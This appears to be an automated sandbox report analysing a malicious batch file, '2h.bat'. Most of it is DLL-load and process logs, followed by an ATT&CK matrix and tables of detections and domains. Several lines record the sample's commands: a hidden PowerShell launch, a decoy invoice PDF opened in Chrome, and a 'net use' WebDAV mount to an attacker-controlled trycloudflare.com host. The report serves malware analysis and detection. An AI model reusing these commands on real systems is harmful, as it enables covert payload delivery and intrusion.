Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\user\Desktop\2h.bat\" hidden' -WindowStyle Hidden"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\user\Desktop\2h.bat\" hidden' -WindowStyle Hidden"			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3847			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5632			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7496	Thread sleep count: 3847 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7536	Thread sleep count: 5632 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2328	Thread sleep count: 66 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5468	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2752	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 692	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000C.00000002.1578721214.00000187946C0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1537477832.00000187946C0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1536962933.00000187946C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3u
Source: net.exe, 0000000C.00000002.1578721214.0000018794659000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 0000000C.00000002.1578721214.00000187946C0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1537477832.00000187946C0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1536962933.00000187946C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\user\Desktop\2h.bat\" hidden' -WindowStyle Hidden"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\Desktop\2h.bat" hidden	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use Z: /delete /yes	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\net.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use Z: /delete /yes
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use Z: /delete /yes	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 PowerShell	1 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	12 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2h.bat	11%	Virustotal		Browse
2h.bat	11%	ReversingLabs

Source	Detection	Scanner	Label
https://supplier-murray-custody-treasures.trycloudflare.com/	0%	Avira URL Cloud	safe
https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdfr	0%	Avira URL Cloud	safe
https://supplier-murray-custody-treasures.trycloudflare.com//	0%	Avira URL Cloud	safe
https://www.healyconsultants.com/wp-content/upl0W	0%	Avira URL Cloud	safe
https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdfVk	0%	Avira URL Cloud	safe
https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdf	0%	Avira URL Cloud	safe
https://supplier-murray-custody-treasures.trycloudflare.com/K	0%	Avira URL Cloud	safe
https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdfPROCESSOR_ARCHI	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
healyconsultants.com	162.159.134.42	true	false	unknown
supplier-murray-custody-treasures.trycloudflare.com	104.16.231.132	true	true	unknown
www.google.com	142.251.40.196	true	false	high
www.healyconsultants.com	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
